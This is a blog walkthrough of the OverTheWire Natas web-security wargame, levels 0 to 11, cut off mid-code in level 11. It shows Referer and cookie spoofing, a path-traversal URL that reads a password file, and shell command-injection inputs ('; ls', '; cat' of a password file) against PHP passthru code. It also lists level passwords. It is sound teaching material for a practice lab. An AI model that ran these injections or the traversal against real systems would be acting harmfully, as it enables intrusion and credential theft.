&lt;/h1&gt;

&lt;p&gt;level 0 - Inspect&lt;br&gt;
Level 1 - Shortcut&lt;br&gt;
Level 2 - Sources&lt;br&gt;
Level 3 - robots.txt&lt;br&gt;
Level 4 - HTTP request&lt;br&gt;
Level 5 - Cookies&lt;br&gt;
Level 6 - PHP&lt;br&gt;
Level 7 - local file&lt;br&gt;
Level 8 - PHP&lt;br&gt;
Level 9 - Command Injection&lt;br&gt;
Level 10 - grep&lt;br&gt;
Level 11 - Cookie&lt;/p&gt;
&lt;h2&gt;
  
  
  Level 0
&lt;/h2&gt;

&lt;p&gt;Open the website in Chrome browser. Once logged in to level 0, &lt;strong&gt;right click &amp;gt; View Page Source&lt;/strong&gt;, or &lt;strong&gt;right click &amp;gt; Inspect&lt;/strong&gt; Element. The password for next level is simply commented out below the visible content of the html document.&lt;/p&gt;
&lt;h2&gt;
  
  
  Level 1
&lt;/h2&gt;

&lt;p&gt;Right click is disabled on the website, so we need to find an alternatively to inspect the webpage. On windows, the shortcut to bring up inspector tools is F12, or &lt;strong&gt;ctrl+shift+i&lt;/strong&gt;. On Mac, the corresponding shortcut is &lt;strong&gt;cmd+opt+i&lt;/strong&gt;. The password again is hidden in the comment.&lt;/p&gt;
&lt;h2&gt;
  
  
  Level 2
&lt;/h2&gt;

&lt;p&gt;This time, when we go to the &lt;strong&gt;Elements&lt;/strong&gt; section in the developer window, instead of a comment we get an image tag. When we hover over the src of the image, it displays a link. A click on the link directs us to the path:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://natas2.natas.labs.overthewire.org/files/pixel.png"&gt;http://natas2.natas.labs.overthewire.org/files/pixel.png&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There isn't anything interesting to see. Let's go back a step and just add /files to the end of the natas url:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://natas2.natas.labs.overthewire.org/files"&gt;http://natas2.natas.labs.overthewire.org/files&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There is a text file called users.txt which looks promising, opening the file indeed shows the password for next level!&lt;/p&gt;
&lt;h2&gt;
  
  
  Level 3
&lt;/h2&gt;

&lt;p&gt;The clue for this level is within the comment in html:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;No more information leaks!! Not even Google will find it this time...&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Google uses web crawlers/robots to index web pages, web site owners use the /robots.txt file to give instructions about their site to web robots; this is called The Robots Exclusion Protocol. Robots.txt is a publicly available file, let's checkout the robots.txt file on this website&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://natas3.natas.labs.overthewire.org/robots.txt"&gt;http://natas3.natas.labs.overthewire.org/robots.txt&lt;/a&gt;&lt;br&gt;
User-agent: *&lt;br&gt;
Disallow: /s3cr3t/&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;"User-agent: *" means this section applies to all robots. &lt;/li&gt;
&lt;li&gt;"Disallow: /s3cr3t/" tells the robot that it should not visit directory /s3cr3t of this site. Need a separate "Disallow" line for every URL prefix you want to exclude.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is telling us passwords must be in the excluded directory!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://natas3.natas.labs.overthewire.org/s3cr3t"&gt;http://natas3.natas.labs.overthewire.org/s3cr3t&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We see a text file containing the password just like before.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.robotstxt.org/robotstxt.html"&gt;About robots.txt&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Level 4
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Access disallowed. You are visiting from "" while authorized users should come only from "&lt;a href="http://natas5.natas.labs.overthewire.org/"&gt;http://natas5.natas.labs.overthewire.org/&lt;/a&gt;"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This message is telling us that we opened the link directly in browser and was not redirected to the current page from &lt;a href="http://natas5.natas.labs.overthewire.org/"&gt;http://natas5.natas.labs.overthewire.org/&lt;/a&gt;. How does the website know this information? &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In HTTP, "Referer" (a misspelling of Referrer) is the name of an optional HTTP header field that identifies the address of the web page (i.e., the URI or IRI), from which the resource has been requested. By checking the referrer, the server providing the new web page can see where the request originated.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Get the &lt;a href="https://chrome.google.com/webstore/detail/modheader/idgpnmonknjnojddfkpgkljpfnnfcklj?hl=en"&gt;ModHeader&lt;/a&gt; plugin for Chrome, while you're on the &lt;a href="http://natas4.natas.labs.overthewire.org/"&gt;http://natas4.natas.labs.overthewire.org/&lt;/a&gt; page, click on the plugin and put the required referer. Give the page a quick refresh to apply the HTTP proxy interception.&lt;/p&gt;

&lt;p&gt;Remember to clear the &lt;strong&gt;referer&lt;/strong&gt; after you get the password as this setting will be applied on all webpages you visit...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5jafrnwocf45wtt92tvc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5jafrnwocf45wtt92tvc.png" alt="Screenshot of plugin" width="800" height="320"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Level 5
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Access disallowed. You are not logged in&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Normally there will a form for us to type our login details if login is required. Some websites use cookies to remember the user login information and grants us access without having to login next time.&lt;/p&gt;

&lt;p&gt;A cookie is an HTTP request header and contains the cookies previously sent by the server using set-cookies.&lt;/p&gt;

&lt;p&gt;Let's check what cookies the server has in place:&lt;br&gt;
&lt;strong&gt;Right click &amp;gt; Inspect&lt;/strong&gt; to open the developer console. Go to the &lt;strong&gt;Applications&lt;/strong&gt; tab on the console. Expand the &lt;strong&gt;Cookies&lt;/strong&gt; dropdown under the &lt;strong&gt;Storage&lt;/strong&gt; section. &lt;/p&gt;

&lt;p&gt;Cookies are set of key-value pairs, under the domain natas5.natas.labs.overthewire.org has a key loggedin which is set to 0. This looks like a boolean key where 0=false, and tells the server the user has not been logged in. Let's modify our request header using the plugin, set cookie &lt;strong&gt;loggedin=1&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  Level 6
&lt;/h2&gt;

&lt;p&gt;Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1&lt;/p&gt;

&lt;p&gt;Go to "View sourcecode" link where PHP code is exposed (PHP code runs on the web server, cannot be seen on "Source" in Dev Tools). PHP code is always wrapped between &amp;lt;?php and ?&amp;gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt; &lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;  
 &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="s2"&gt;"includes/secret.inc"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
   &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"submit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
     &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$secret&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'secret'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
     &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"Access granted. The password for natas7 is &amp;lt;censored&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
   &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
     &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"Wrong secret"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
   &lt;span class="p"&gt;}&lt;/span&gt;  
   &lt;span class="p"&gt;}&lt;/span&gt;  
 &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reading the code line to line, it first imports an external file in relative path "includes/secret.inc", then it checks if user clicked the submit button with some input data. If so, it compares user input to a variable $secret, which must have came from the external file. If the $secret and user input matches, the password is displayed.&lt;/p&gt;

&lt;p&gt;Navigate to the relative path of the external file:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://natas6.natas.labs.overthewire.org/includes/secret.inc"&gt;http://natas6.natas.labs.overthewire.org/includes/secret.inc&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Copy value of $secret, go back to the homepage and paste it into input field to reveal the password for next level.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;HELP: Comment below if you know what &amp;lt; censored &amp;gt; tag is!&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 7
&lt;/h2&gt;

&lt;p&gt;Passsword: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9&lt;/p&gt;

&lt;p&gt;From the comments in source code, we know that the password is in etc/nats_webpass/natas8.&lt;/p&gt;

&lt;p&gt;Notice in the URL, there is a path parameter "page" that changes depending on what page is on display. We can try tamper with the path parameter:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://natas7.natas.labs.overthewire.org/index.php?page=etc/natas_webpass/natas8"&gt;http://natas7.natas.labs.overthewire.org/index.php?page=etc/natas_webpass/natas8&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But this does not work! We need to access files that is outside current directory. Read about File Inclusion vulnerability for hints.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. &lt;/p&gt;

&lt;p&gt;Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Since the page parameter takes a relative path, we can use "../" to go back up a level on the filesystem tree structure. How many steps it takes to go back to the root directory is unknown, but we can just keep adding the path traversal as there is no consequence of having too many "../". Password appears in the following URL:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8"&gt;http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion"&gt;Testing for Local File Inclusion&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 8
&lt;/h2&gt;

&lt;p&gt;Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe&lt;/p&gt;

&lt;p&gt;Click on "View Sourcecode" and read PHP code line by line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;

&lt;span class="nv"&gt;$encodedSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"3d3d516343746d4d6d6c315669563362"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;encodeSecret&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;bin2hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strrev&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$secret&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"submit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;encodeSecret&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'secret'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$encodedSecret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"Access granted. The password for natas9 is &amp;lt;censored&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"Wrong secret"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line assigns a string to variable $encodedSecret. The function encodeSecret takes the input submitted by user and encode in base64, reverse the string, then converts hexadecimal to binary. This encoded user input is then compared with $encodedSecret and only shows the password if they match.&lt;/p&gt;

&lt;p&gt;The $encodedSecret needs to be "decoded" before pasted into the input box. In order to reverse the encoding, you have to write some PHP code, either on a web server with PHP installed, or run on your local machine. The easiest way is to run the PHP code on the command line.&lt;/p&gt;

&lt;p&gt;Install PHP on MacOs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;brew install php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open PHP interactive shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;php -a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reverse the encoding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$encodedSecret = "3d3d516343746d4d6d6c315669563362";
echo base64_decode(strrev((hex2bin($encodedSecret))));
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exit the shell:&lt;br&gt;
ctrl + c&lt;/p&gt;


&lt;h2&gt;
  
  
  Level 9
&lt;/h2&gt;

&lt;p&gt;Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl&lt;/p&gt;

&lt;p&gt;Click on "View Sourcecode" and read the PHP code for this level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;
&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"needle"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"needle"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;passthru&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"grep -i &lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="s2"&gt; dictionary.txt"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First line declares a $key variable and assigns an empty string to it. The first if statement looks for a key "needle" in the request, and assigns the key value to variable $key. The second if statement checks if the variable $key is not an empty string, and passes through the command "grep -i $key dictionary.txt". The "grep" command searches in the dictionary.txt for text that contains $key, "-i" makes it an case insensitive search.&lt;/p&gt;

&lt;p&gt;Notice in the URL path parameter there is a key "needle", which matches what is expected in the PHP source code. Whatever you input in the search bar ends up being assigned to the "needle" key param, which is then copied to variable $key.&lt;/p&gt;

&lt;p&gt;Level 7 reveals the directory of all passwords: "etc/natas_webpass/", so you need to navigate to that directory somehow. The only place you can interact with the server is when $key has a value.&lt;/p&gt;

&lt;p&gt;Read about &lt;a href="https://en.wikipedia.org/wiki/Code_injection#Shell_injection"&gt;Shell Injection&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To complete this level, you should also know "ls" and "cat" terminal commands.&lt;/p&gt;

&lt;p&gt;Now, you can use shell sequential execution character ";" to execute additional commands. Try the following in the search bar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; ls
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The semicolon skips over "grep" search output and executes "ls" command, which returns the file in current directory. Learning from level 7 using path traversal, try the following one by one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; ls ..
; ls ../..
; ls ../../../../etc/natas_webpass
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice a file called natas10 in /etc/natas_webpass, to view the content in the file, use "cat" command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; cat ../../../../etc/natas_webpass/natas10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Reference
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://owasp.org/www-community/attacks/Command_Injection"&gt;Command Injection&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 10
&lt;/h2&gt;

&lt;p&gt;Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu&lt;/p&gt;

&lt;p&gt;Click on "View Sourcecode" to view the PHP code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;
&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;array_key_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"needle"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"needle"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/[;|&amp;amp;]/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"Input contains an illegal character!"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;passthru&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"grep -i &lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="s2"&gt; dictionary.txt"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compared to last level, there is some extra code to sanitise user input, so you cannot use any kind of sequential command this time. The only place of exploitation is the "grep" command.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Grep is an acronym that stands for Global Regular Expression Print. When it finds a match, it prints the line with the result. To search multiple files with the grep command, insert the filenames you want to search, separated with a space character.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;With the single "grep" command execution, we can search multiple files on the server! Try the following in search bar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1  /etc/natas_webpass/natas11
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This searches the number "1" in both dictionary.txt and natas11, because dictionary.txt contains word only, the output displayed is just the password from natas11.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 11
&lt;/h2&gt;

&lt;p&gt;Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK&lt;/p&gt;

&lt;p&gt;Click "View Sourcode", there are 2 sets of PHP code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"showpassword"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"yes"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"The password for natas12 is &amp;lt;censored&amp;gt;&amp;lt;br&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This hints that the $data object has the key "showpassword", and must be set to "yes" to reveal the password.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;

&lt;span class="nv"&gt;$defaultdata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s2"&gt;"showpassword"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"no"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"bgcolor"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"#ffffff"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;xor_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$in&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;censored&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$in&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$outText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Iterate through each character&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
